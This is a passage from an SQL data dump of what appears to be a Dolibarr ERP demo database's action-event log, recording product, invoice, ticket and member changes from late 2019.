modified','2019-09-27 18:40:32','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ROLLUPABC modified',11,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(341,'341',NULL,1,'2019-09-27 19:16:07','2019-09-27 19:16:07',40,'AC_PRODUCT_CREATE','Product ppp created','2019-09-27 19:16:07','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ppp created',14,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(342,'342',NULL,1,'2019-09-27 19:18:01','2019-09-27 19:18:01',40,'AC_PRODUCT_MODIFY','Product ppp modified','2019-09-27 19:18:01','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ppp modified',14,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(343,'343',NULL,1,'2019-09-27 19:31:45','2019-09-27 19:31:45',40,'AC_PRODUCT_MODIFY','Product ROLLUPABC modified','2019-09-27 19:31:45','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ROLLUPABC modified',11,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(344,'344',NULL,1,'2019-09-27 19:32:12','2019-09-27 19:32:12',40,'AC_PRODUCT_MODIFY','Product ROLLUPABC modified','2019-09-27 19:32:12','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ROLLUPABC modified',11,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(345,'345',NULL,1,'2019-09-27 19:38:30','2019-09-27 19:38:30',40,'AC_PRODUCT_MODIFY','Product ROLLUPABC modified','2019-09-27 19:38:30','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ROLLUPABC modified',11,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(346,'346',NULL,1,'2019-09-27 19:38:37','2019-09-27 19:38:37',40,'AC_PRODUCT_MODIFY','Product ROLLUPABC modified','2019-09-27 19:38:37','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ROLLUPABC modified',11,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(347,'347',NULL,1,'2019-09-30 15:49:52',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #15ff11cay39skiaa] New message','2019-09-30 15:49:52','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'dfsdfds',2,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(348,'348',NULL,1,'2019-10-01 13:48:36','2019-10-01 13:48:36',40,'AC_PROJECT_MODIFY','Project PJ1607-0001 modified','2019-10-01 13:48:36','2021-04-15 10:22:55',12,NULL,6,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1607-0001 modified\nTask: PJ1607-0001',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(349,'349',NULL,1,'2019-10-04 10:10:25','2019-10-04 10:10:25',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SI1601-0002 validated','2019-10-04 10:10:25','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI1601-0002 validated',17,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(350,'350',NULL,1,'2019-10-04 10:10:47','2019-10-04 10:10:47',40,'AC_BILL_SUPPLIER_PAYED','Invoice SI1601-0002 changed to paid','2019-10-04 10:10:47','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI1601-0002 changed to paid',17,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(351,'351',NULL,1,'2019-10-04 10:26:49','2019-10-04 10:26:49',40,'AC_BILL_UNVALIDATE','Invoice FA6801-0010 go back to draft status','2019-10-04 10:26:49','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA6801-0010 go back to draft status',150,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(352,'352',NULL,1,'2019-10-04 10:27:00','2019-10-04 10:27:00',40,'AC_BILL_VALIDATE','Invoice FA6801-0010 validated','2019-10-04 10:27:00','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA6801-0010 validated',150,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(353,'353',NULL,1,'2019-10-04 10:28:14','2019-10-04 10:28:14',40,'AC_BILL_PAYED','Invoice FA6801-0010 changed to paid','2019-10-04 10:28:14','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA6801-0010 changed to paid',150,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(354,'354',NULL,1,'2019-10-04 10:29:22','2019-10-04 10:29:22',40,'AC_BILL_SUPPLIER_PAYED','Invoice SI1601-0002 changed to paid','2019-10-04 10:29:22','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI1601-0002 changed to paid',17,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(355,'355',NULL,1,'2019-10-04 10:29:41','2019-10-04 10:29:41',40,'AC_BILL_SUPPLIER_UNVALIDATE','Invoice SI1601-0002 go back to draft status','2019-10-04 10:29:41','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI1601-0002 go back to draft status',17,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(356,'356',NULL,1,'2019-10-04 10:31:30','2019-10-04 10:31:30',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SI1601-0002 validated','2019-10-04 10:31:30','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI1601-0002 validated',17,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(357,'357',NULL,1,'2019-10-04 16:56:21',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 16:56:21','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'aaaa',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(358,'358',NULL,1,'2019-10-04 17:08:04',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:08:04','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'ddddd',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(359,'359',NULL,1,'2019-10-04 17:25:05',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:25:05','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'aaa',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(360,'360',NULL,1,'2019-10-04 17:26:14',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:26:14','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'aaa',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(361,'361',NULL,1,'2019-10-04 17:30:10',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:30:10','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(362,'362',NULL,1,'2019-10-04 17:51:43',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:51:43','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(363,'363',NULL,1,'2019-10-04 17:52:02',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:52:02','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(364,'364',NULL,1,'2019-10-04 17:52:17',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:52:17','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(365,'365',NULL,1,'2019-10-04 17:52:39',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:52:39','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(366,'366',NULL,1,'2019-10-04 17:52:53',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:52:53','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(367,'367',NULL,1,'2019-10-04 17:53:13',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:53:13','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(368,'368',NULL,1,'2019-10-04 17:53:26',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:53:26','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(369,'369',NULL,1,'2019-10-04 17:53:48',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:53:48','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(370,'370',NULL,1,'2019-10-04 17:54:09',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:54:09','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(371,'371',NULL,1,'2019-10-04 17:54:28',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:54:28','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(372,'372',NULL,1,'2019-10-04 17:55:43',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:55:43','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(373,'373',NULL,1,'2019-10-04 17:56:01',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:56:01','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(374,'374',NULL,1,'2019-10-04 18:00:32',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 18:00:32','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(375,'375',NULL,1,'2019-10-04 18:00:58',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 18:00:58','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(376,'376',NULL,1,'2019-10-04 18:11:30',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 18:11:30','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(377,'377',NULL,1,'2019-10-04 18:12:02',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 18:12:02','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fffffff',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(378,'378',NULL,1,'2019-10-04 18:49:30',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 18:49:30','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'aaa',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(379,'379',NULL,1,'2019-10-04 19:00:22',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 19:00:22','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fff',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(380,'380',NULL,1,'2019-10-04 19:24:20','2019-10-04 19:24:20',40,'AC_PROPAL_SENTBYMAIL','Email sent by Alice Adminson To NLTechno','2019-10-04 19:24:20','2021-04-15 10:22:55',12,NULL,6,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nSender: Alice Adminson <aadminson@example.com>
\nReceiver(s): NLTechno <notanemail@nltechno.com>
\nEmail topic: Envoi de la proposition commerciale PR1909-0032
\nEmail body:
\nHello
\r\n
\r\nVeuillez trouver, ci-joint, la proposition commerciale PR1909-0032
\r\n
\r\n
\r\nSincerely
\r\n
\r\nAlice - 123
\n
\nAttached files and documents: PR1909-0032.pdf',33,'propal',NULL,'Envoi de la proposition commerciale PR1909-0032','Alice Adminson ',NULL,'NLTechno ',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(381,'381',NULL,1,'2019-10-04 19:30:13',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 19:30:13','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(382,'382',NULL,1,'2019-10-04 19:32:55',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 19:32:55','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'uuuuuu\n\nAttached files and documents: Array',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(383,'383',NULL,1,'2019-10-04 19:37:16',NULL,50,'TICKET_MSG','','2019-10-04 19:37:16','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,100,'',NULL,NULL,'f\n\nFichiers et documents joints: dolihelp.ico',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(384,'384',NULL,1,'2019-10-04 19:39:07',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 19:39:07','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'aaafff\n\nAttached files and documents: dolibarr.gif;doliadmin.ico',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(385,'385',NULL,1,'2019-10-07 12:17:07','2019-10-07 12:17:07',40,'AC_PRODUCT_DELETE','Product PREF123456 deleted','2019-10-07 12:17:07','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct PREF123456 deleted',17,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(386,'386',NULL,1,'2019-10-07 12:17:32','2019-10-07 12:17:32',40,'AC_PRODUCT_DELETE','Product PREF123456 deleted','2019-10-07 12:17:32','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct PREF123456 deleted',18,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(387,'387',NULL,1,'2019-10-08 19:21:07','2019-10-08 19:21:07',40,'AC_PRODUCT_MODIFY','Product ROLLUPABC modified','2019-10-08 19:21:07','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ROLLUPABC modified',11,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(388,'388',NULL,1,'2019-10-08 21:01:07','2019-10-08 21:01:07',40,'AC_MEMBER_MODIFY','Member Pierre Curie modified','2019-10-08 21:01:07','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember Pierre Curie modified\nMember: Pierre Curie\nType: Standard members',2,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(389,'389',NULL,1,'2019-10-08 21:01:22','2019-10-08 21:01:22',40,'AC_MEMBER_MODIFY','Member doe john modified','2019-10-08 21:01:22','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember doe john modified\nMember: doe john\nType: Standard members',3,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(390,'390',NULL,1,'2019-10-08 21:01:45','2019-10-08 21:01:45',40,'AC_MEMBER_MODIFY','Member smith smith modified','2019-10-08 21:01:45','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember smith smith modified\nMember: smith smith\nType: Standard members',4,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(391,'391',NULL,1,'2019-10-08 21:02:18','2019-10-08 21:02:18',40,'AC_MEMBER_MODIFY','Member Vick Smith modified','2019-10-08 21:02:18','2021-04-15 10:22:55',12,NULL,NULL,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember Vick Smith modified\nMember: Vick Smith\nType: Standard members',1,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(392,'392',NULL,1,'2019-11-28 15:54:46','2019-11-28 15:54:46',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SI1911-0005 validated','2019-11-28 15:54:47','2021-04-15 10:22:55',12,NULL,NULL,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI1911-0005 validated',21,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(393,'393',NULL,1,'2019-11-28 16:33:35','2019-11-28 16:33:35',40,'AC_PRODUCT_CREATE','Product FR-CAR created','2019-11-28 16:33:35','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct FR-CAR created',24,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(394,'394',NULL,1,'2019-11-28 16:34:08','2019-11-28 16:34:08',40,'AC_PRODUCT_DELETE','Product ppp deleted','2019-11-28 16:34:08','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ppp deleted',14,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(395,'395',NULL,1,'2019-11-28 16:34:33','2019-11-28 16:34:33',40,'AC_PRODUCT_MODIFY','Product FR-CAR modified','2019-11-28 16:34:33','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct FR-CAR modified',24,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(396,'396',NULL,1,'2019-11-28 16:34:46','2019-11-28 16:34:46',40,'AC_PRODUCT_MODIFY','Product FR-CAR modified','2019-11-28 16:34:46','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct FR-CAR modified',24,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(397,'397',NULL,1,'2019-11-28 16:36:56','2019-11-28 16:36:56',40,'AC_PRODUCT_MODIFY','Product POS-CAR modified','2019-11-28 16:36:56','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-CAR modified',24,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(398,'398',NULL,1,'2019-11-28 16:37:36','2019-11-28 16:37:36',40,'AC_PRODUCT_CREATE','Product POS-APPLE created','2019-11-28 16:37:36','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-APPLE created',25,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(399,'399',NULL,1,'2019-11-28 16:37:58','2019-11-28 16:37:58',40,'AC_PRODUCT_MODIFY','Product POS-APPLE modified','2019-11-28 16:37:58','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-APPLE modified',25,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(400,'400',NULL,1,'2019-11-28 16:38:44','2019-11-28 16:38:44',40,'AC_PRODUCT_CREATE','Product POS-KIWI created','2019-11-28 16:38:44','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-KIWI created',26,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(401,'401',NULL,1,'2019-11-28 16:39:21','2019-11-28 16:39:21',40,'AC_PRODUCT_CREATE','Product POS-PEACH created','2019-11-28 16:39:21','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-PEACH 